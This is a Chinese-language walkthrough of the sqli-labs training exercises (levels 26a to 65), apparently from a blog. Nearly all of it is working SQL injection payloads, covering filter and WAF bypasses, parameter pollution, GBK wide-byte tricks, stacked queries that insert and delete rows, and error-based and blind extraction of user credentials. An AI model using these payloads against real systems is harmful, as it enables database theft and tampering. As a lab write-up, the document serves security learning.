?id=1'||(extractvalue(1,0x7e))||'1?id=1'||(updatexml(1,0x7e,3))||'1group by 的无法使用
?id=1'||(extractvalue(1,concat(0x7e,(database()))))||'1?id=1'||(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())))))||'1?id=1'||(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema=database())anandd(table_name='users')))))||'1?id=1'||(extractvalue(1,concat(0x7e,(substr((select(group_concat(username,passwoorrd))from(users)),25,40)))))|'1
但是看网络的wp
空格可以使用 %0a %a0 %0b绕过
Less-26a 判断闭合
这道题是')闭合
首先我们来学习一下如何判断')闭合
select * from user where id=('id')输入 2'||'1'='2
select * from user where id=('2'||'1'='2')
这个 通过逻辑判断 返回的是 bool 为1 所以会查询id=1如果不是括号闭合
select * from user where id='2'||'1'='2'这里就只会查询 id=2的值 所以查看回显就可以 如果回显的是1的页面 就说明是括号如果回显的是2的页面 就说明是括号闭合
然后就和26一样进行注入即可
Less-27 过滤 union select
这里很明显就是过滤了union 和 select
但是把 or and 放出来了
并且这道题 使用 %0a就可以绕过空格
我们直接开始判断闭合
2'and%0a'1'='12'and%0a'1'='2
说明我们得到了闭合
我们直接开始看看能不能执行order by但是这里注意
我们使用order by 是直接通过列举
因为 后面存在 一个 ' 所以我们需要把他完成闭合 不然会报错
?id=2'order%0Aby%0A1,2,3,4,'5
这个其实也是排列 按照 1,2,3列进行排列 并且通过字母排列
得到3个字段
直接脱库看看
通过大小写和双写绕过过滤
?id=0'unUNIONion%0ASELSELECTECT%0a1,2,'3
直接爆破
我们选择 2 的位置爆破 但是这里要注意 因为2 在 中间字段
所以正确写法应该是
union select 1,group_concat(table_name),3 from information_schemat.tables where table_schema=database()
别忘记3 要在 指定表的前面
0'unUNIONion%0ASELSELECTECT%0A1,database(),'3表名
0'%0AuniUNIONon%0ASELSELECTECT%0A1,group_concat(table_name),3%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and'10'%0AuniUNIONon%0ASELSELECTECT%0A1,group_concat(table_name),3%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema='security上面两个都可以然后就是正常的注入了
0'%0AuniUNIONon%0ASELSELECTECT%0A1,group_concat(column_name),3%0Afrom%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'and'1最后爆破库
?id=0'%0AuniUNIONon%0ASELSELECTECT%0A1,group_concat(id,username,password),3%0Afrom%0Asecurity.users%0Awhere%0Aid=1%0Aand'1简化是group_concat(id,username,password)from security.users where id=1 and '1如果不加 id 后面 and报错 因为只能在where后面
Less-27a
1'%0Aand%0A'1'='2
2'%0Aand%0A'1'='2
两个假语句都正常返回 说明是字符型 只读取第一个字符
我们看看双引号
2"%0Aand"1"="2
2"%0Aand"1"="1
确定了是
但是这道题目没有报错信息
无法使用报错注入
联合注入即可
?id= 0"%0AuniUNIONon%0ASELSELECTECT%0A1,database(),3%0Aand"1表名?id= 0"%0AuniUNIONon%0ASELSELECTECT%0A1,group_concat(table_name),3%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema=database()%0Aand"1字段
?id=0"%0AuniUNIONon%0ASELSELECTECT%0A1,group_concat(column_name),3%0Afrom%0Ainformation_schema.columns%0Awhere%0Atable_schema=database()%0Aand%0Atable_name='users'%0Aand"1值
?id=0"%0AuniUNIONon%0ASELSELECTECT%0A1,group_concat(id,username,password),3%0Afrom%0Ausers%0Awhere%0Aid=1%0Aand"1
Less-28 过滤union空格select组合
这道题不过滤 union select
只过滤这个组合 union空格select
我们尝试绕过
uniunion%0aselecton%0aselect
这个就绕过了这个组合的过
我们来具体回顾一下闭合方式
输入
1' 报错
1" 没有报错猜测是' 类型
但是存在两个情况
SELECT * FROM users WHERE id='1'and '0' LIMIT 0,1SELECT * FROM users WHERE id=('1'and '0') LIMIT 0,1两个情况都可以顺利闭合
所以我们首先判断第二个 因为如果没有括号 第一个会报错输入1') and ('1'='1变化就是 1')%0aand%0a('1'='1
发现没有报错 那说明就是括号的闭合
')类型
我们可以开始注入了
0')%0Aununion%0Aselection%0Aselect%0A1,database(),3%0Aand%0A('1表
0')%0Aununion%0Aselection%0Aselect%0A1,group_concat(table_name),3%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema=database()%0Aand%0A('1字段
0')%0Aununion%0Aselection%0Aselect%0A1,group_concat(column_name),3%0Afrom%0Ainformation_schema.columns%0Awhere%0Atable_schema=database()%0Aand%0Atable_name='users'%0Aand%0A('1值
0')%0Aununion%0Aselection%0Aselect%0A1,group_concat(id,username,password),3%0Afrom%0Ausers%0Awhere%0aid=1%0aand%0A('1
Less-28a
这道题和28一样 并且过滤更少
只过滤了组合 直接注入即可
Less-29 参数污染
http存在参数污染
其中具体点就是 用户可以通过 GET/POST请求上传多个参数
至于要取哪个参数 就是看 服务器的配置
这里我使用的是 php+apache
所以读取的是最后一个的参数
我们首先测试一下基本的注入是否可以实现
他会直接过滤 ' 我们看看源代码
通过正则 匹配一个或者多个数字
如果有除了数字的值 就直接跳转到hacked.php
这里就是关于参数的过滤
通过 &来分割然后都作为 key=value类型从0开始匹配两个字符如果前两个字符是id那么就读取 3-30个字符
这里主要看出来 只匹配了前两个字符 对前两个字符进行匹配
没有对第二个参数进行过滤
而我们是php+apach 就只匹配最后一个参数
所以我们可以在最后一个参数中进行注入
?id=1&id=1'
这里我们就绕过了waf
我们来看看代码的运行
我们写入两个参数
id=1&id=1'
$qs = $_SERVER['QUERY_STRING'];
首先读取了 qs 就是用户输入的字符串$hint=$qs;
传入 hint$id1=java_implimentation($qs);
处理字符串 其中我们传入的是 id=1&id=1'
所以就会返回1 因为读取第一个参数$id=$_GET['id'];
这里是安全漏洞的地方!!
重新将用户输入的字符串作为GET的参数//echo $id1;whitelist($id1);
这里只是比对了处理完的字符串
如果我们修改了代码
把id作为我们处理完的字符串 那就无法造成参数污染
我们回到这个题目
既然绕过了 waf 我们就可以直接在第二个参数进行注入
?id=2&id=0' union select 1,2,3-- +?id=2&id=0' union select 1,2,database()-- +?id=2&id=0' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security'-- +?id=2&id=0' union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'-- +?id=2&id=0' union select 1,2,group_concat(username,password)from users-- +
这里就结束了注入
Less-30
sqli-labs Less-29、30、31(sqli-labs闯关指南 29、30、31)—服务器(两层)架构_景天zy的博客-CSDN博客
在查资料后发现 这道题没有那么简单
其实更具体点
是通过两个服务器
第一个服务器是解析第一个参数
第二个服务器解析第二个参数
这样我们就绕过了第一个服务器(waf)
30这个题目 就是注入方式是双引号
其他就没有特别的了
?id=1&id=0" union select 1,2,3-- +
发现还是 只读取了第一个参数 没问题了就重新读取用户输入的GET 从而导致注入
Less-31
一样还是闭合方式的不同
("id")
?id=1&id=1") and 1=1 -- +
?id=1&id=-1") union select 1,2,3 -- +
Less-32 宽字节注入
我们首先理解什么是宽字节
低字节 就是 一个字节来表示的宽字节 就是 两个字节来表示的例如汉字 就是需要两个字节来表示
mysql中的GBK就是宽字节之一 当mysql使用GBK的时候 遇到两个字节 就会认为其是一个汉字
但是GBK的识别是有范围的第一个字节 0x81 到 0xFE第二个字节 0x40 到 0xFE
介绍完宽字节 我们回到这个题目进行看看注入的原理
首先看看源代码
function check_addslashes($string)
{$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
遇到 \ 转义为 \\$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
遇到 ' 转义为 \'$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
遇到 " 转义为 \"return $string;
}
这里是转义的地方
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
其次就是指定了 GBK格式进行存入 这里就会出现宽字节注入
我们看看输入一个中文的单引号
通过这个判断 可能不是直接过滤符号 而是进行转义
\'的hex为
%5c%27
在这发现遇到'就会加上\
%5c在范围0x40-0xFE中 符合第二个字节
那我们只要输入一个符合第一个字节的 就可以让GBK编码认为 这个是一个汉字 然后就吞掉\转义符
-1%8F%27%20union%20select%201,2,3--%20+
首先是字符型 所以只会读取第一个数字来查询
所以后面的汉字对查询没有影响
-1%8F%27%20union%20select%201,2,database()--%20+
爆破表
-1%8F%27%20union%20select%201,group_concat(table_name),2%20from%20information_schema.tables%20where%20table_schema=0x7365637572697479--%20+
这里是将数据库名 通过 ascii转码 变为16进制
因为我们要输入字符串 就会需要''来包裹 所以我们直接输入16进制即可
字段
-1%8F%27%20union%20select%201,group_concat(column_name),2%20from%20information_schema.columns%20where%20table_schema=0x7365637572697479%20and%20table_name=0x7573657273--%20+
值
-1%8F%27%20union%20select%201,group_concat(id,username,password),2%20from%20users--%20+
Less-33
一样的' 闭合宽字节注入
Less-34 POST类型的宽字节注入
变回了POST类型
需要先登入进去再注入
所以我们看看万能密码
这个题目最好通过bp来进行注入 防止二次编码
uname=-1%df%27+ or 1--+%2B&passwd=1&submit=Submit
登入成功
uname=-1%df%27+ union select 1,2--+%2B&passwd=1&submit=Submit
那就可以
直接开始注入了
uname=-1%df%27+ union select 1,database()--+%2B&passwd=1&submit=Submituname=-1%df%27+ union select 1,group_concat(table_name)from information_Schema.tables where table_schema=database()--+%2B&passwd=1&submit=Submituname=-1%df%27+ union select 1,group_concat(column_name)from information_Schema.columns where table_schema=database()and table_name=0x7573657273--+%2B&passwd=1&submit=Submituname=-1%df%27+ union select 1,group_concat(id,username,password)from users--+%2B&passwd=1&submit=Submit
这样就注入成功
Less-35 整型宽字节注入
啥也没有 就是整型注入
在查询 users的时候通过宽字节来注入即可
Less-36
和之前一样可以使用宽字节注入
这题和之前不一样的地方只是过滤函数的不同
前几关使用的是addslashes
都是对特殊符号加转义 但是其中还是存在不同的
Less-37
POST类型
1%df' union select 1,group_concat(table_name)from information_schema.tables where table_schema=database()-- +
一样使用宽字节即可
Less-38 堆叠注入
我们首先了解堆叠注入的条件
只有当文件中存在这种 可以向数据库一下提交多次查询的函数
才可以使用堆叠注入
因为mysq_query只会上传一个查询语句
其次什么是堆叠注入呢
在mysql中 一个 ; 就是一个语句的结束
所以我们可以在一行中通过; 来写入多个语句
SELECT * FROM `users` WHERE id=1;select * from users;
发现返回了两个查询的语句
这里就是堆叠注入的地方
这里和union注入一样 都要让第一个查询失败
这样就会返回第二个查询的内容了
这道题不限制于查询 主要堆叠注入可以对数据库进行增删改查的操作
1'; insert users(id,username,password) values ("100","li","x")-- +
访问id=100
同时我们可以删除
1'; DELETE FROM users WHERE id = 100 -- +
这里我们就可以对数据库的内容进行操作
Less-39
一样的 堆叠注入 但是闭合是整数类型的
Less-40
依然是堆叠 闭合条件为 1')
Less-41
整型
可以使用堆叠注入
/?id=1;insert into users(id,username,password) values ('100','li','x')-- +
Less-42 密码处实现堆叠注入
让我们登入后再继续
通过fuzz 发现无法实现注入
我们猜测是不是在username 或者 password中存在堆叠注入
经过测试在密码处存在注入
login_user=admin&login_password=aa';insert into users(id,username,password) values('100','123','123');-- +&mysubmit=Login
成功登入
看看源代码
同时发现了为什么无法在用户名处 进行注入
这里就发现了
只有用户名处存在注入点
Less-43
admin1'
发现还是在密码处
发现是1')闭合
1');create table hack like users;-- +
注入成功
Less-44
没有报错信息
所以就是猜测
但是是和42一样的
admin
a';insert into users(id,username,password) values ('44','less44','hello')#
Less-45
和43一样
但是也不存在回显
Less-46 order by 的报错注入
首先 传入的参数不一样了
我们看看回显
?sort=1
?sort=2
?sort=3
发现排列方式不一样
并且如果输入4
所以我们猜测是order by 类型
这里因为 order by 无法联合查询
所以选择报错注入
?sort=4 and updatexml(1,0x7e,3)
?sort=4 and updatexml(1,concat(0x7e,(select database())),3)?sort=4 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where and table_schema=database())),3)?sort=4 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema=database())),3)?sort=4 and updatexml(1,concat(0x7e,(select concat(id,username,password)from users limit 0,1)),3)
Less-47
一样的 闭合方式不一样罢了
1' and updatexml(1,concat(0x7e,database()),3)-- +
这里注意 因为是字符类型 所以无论输入多少 都是 出现id=1的情况
Less-48
纯盲注
直接sqlmap跑得了
Less-49
使用延时注入
Less-50 整数型的堆叠注入
Less-51 order by 的单引号
测试出来发现是单引号闭合
因为是order by 命令
所以我们使用报错注入
?sort=1' and updatexml(1,concat(0x7e,database()),3)-- +
?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),3)-- +
/?sort=4' and updatexml(1,concat(0x7e,(select concat(id,username,password)from users limit 0,1)),3)-- +
还可以使用堆叠注入
Less-52
不存在回显 所以不能使用报错注入
可以使用时间注入和堆叠注入
Less-53
?sort=1' -- +
判断是字符型
一样没有回显
使用堆叠和延时注入
Less-54 挑战 联合注入
感觉这个和真实注入差不多
首先判断闭合
通过
/?id=1' and 1=2-- +/?id=1' and 1=1-- +来判断我们给予的条件是否实现发现就是单引号闭合
我们可以通过联合注入来看看
我们为了省时间 可以直接通过select 来猜测字段
?id=0' union select 1,2,3-- +
开始注入
数据库
/?id=0' union select 1,database(),3-- +challenges表名
/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- +35jmel2wn1 随机的字段
/?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='35jmel2wn1'-- +id,sessid,secret_A6J8,tryy值
/?id=0' union select 1,group_concat(secret_A6J8),3 from 35jmel2wn1-- +
这道题就结束了
我们看看源代码
Less-55
和54 就是闭合方式不同
可以通过
?id=1) and 1=1 -- +?id=1) and 1=2 -- +
来判断
然后就是正常的联合注入
?id=-1) union select 1,database(),3-- +/?id=0) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- +/?id=0) union select 1,group_concat(column_name),3 from information_schema.columns where table_name='0rji2d40w2'-- +id,sessid,secret_OVSS,tryy/?id=0) union select 1,group_concat(secret_OVSS),3 from 35jmel2wn1-- +
Less-56
也只是闭合上的区别
?id=1') and 1=1-- +?id=1') and 1=2-- +
/?id=0') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- +/?id=0') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='yf95voxbok'-- +id,sessid,secret_S6RT,tryy/?id=0') union select 1,group_concat(secret_S6RT),3 from yf95voxbok-- +
Less-57
一样只是修改了闭合方式
?id=1" and 1=1-- +?id=1" and 1=2-- +
/?id=0" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- +/?id=0" union select 1,group_concat(column_name),3 from information_schema.columns where table_name='yf95voxbok'-- +id,sessid,secret_S6RT,tryy/?id=0" union select 1,group_concat(secret_S6RT),3 from yf95voxbok-- +
Less-58 报错
这道题出现了报错信息
我们就可以顺着使用报错注入
因为 联合注入是行不通的
?id=1' and 1=1-- +?id=1' and 1=2-- +
然后就可以报错注入了
?id=1'and updatexml(1,0x7e,3)-- +?id=1'and updatexml(1,concat(0x7e,database()),3)-- +?id=1'and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),3)-- +tmggp2ky9p?id=1'and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='
tmggp2ky9p' and table_schema=database())),3)-- +id,sessid,secret_KYSC,tryy?id=1'and updatexml(1,concat(0x7e,(select group_concat(secret_KYSC) from tmggp2ky9p)),3)-- +
我们看看源代码为什么过滤了 union
发现没有过滤 就是单纯没有通过 数据库查询
是自己设定了数组 然后还有倒序作为密码
Less-59
闭合方式的不同
这个是整数型
?id=1 and 1=1-- +?id=1 and 1=2-- +
?id=1 and updatexml(1,0x7e,3)-- +?id=1 and updatexml(1,concat(0x7e,database()),3)-- +?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),3)-- +?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='
h9ewaort0y' and table_schema=database())),3)-- +?id=1 and updatexml(1,concat(0x7e,(select group_concat(secret_N4QY) from h9ewaort0y)),3)-- +
Less-60
闭合方式
通过报错可以发现
为 ")
?id=1")and updatexml(1,0x7e,3)-- +?id=1") and updatexml(1,concat(0x7e,database()),3)-- +?id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),3)-- +?id=1") and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='
6nz8my2yxq' and table_schema=database())),3)-- +?id=1") and updatexml(1,concat(0x7e,(select group_concat(secret_XSNF) from 6nz8my2yxq)),3)-- +
Less-61
?id=1'))and updatexml(1,0x7e,3)-- +?id=1')) and updatexml(1,concat(0x7e,database()),3)-- +?id=1')) and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),3)-- +?id=1')) and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='
r2gmu06c2g' and table_schema=database())),3)-- +?id=1')) and updatexml(1,concat(0x7e,(select group_concat(secret_WHAM) from r2gmu06c2g)),3)-- +
Less-62
布尔注入 没有回显 没有报错
1' 没有回显
1" 有回显
1') 没有回显
1')-- + 有回显
确定了闭合为 ')
然后就是布尔注入
数据库
?id=1') and length((select database()))=10 -- +?id=1') and ascii(substr((select database()),1,1))=99 -- +表
?id=1') and length((select group_concat(table_name)from information_schema.tables where table_schema=database()))=10 -- +?id=1') and ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,1))=114 -- +字段
?id=1') and length((select group_concat(column_name)from information_schema.columns where table_name='rxwyb1c5dx' and table_schema=database()))=26 -- +?id=1') and ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='rxwyb1c5dx' and table_schema=database()),1,1))=105 -- +值
?id=1') and length((select group_concat(secret_Z22L)from rxwyb1c5dx))=24 -- +?id=1') and ascii(substr((select group_concat(secret_Z22L)from rxwyb1c5dx),1,1))=53 -- +
Less-63
闭合方式为
?id=1")-- +
一样布尔注入
Less-64
?id=1))-- +
Less-65
?id=1)-- +
这里sqlilab就结束了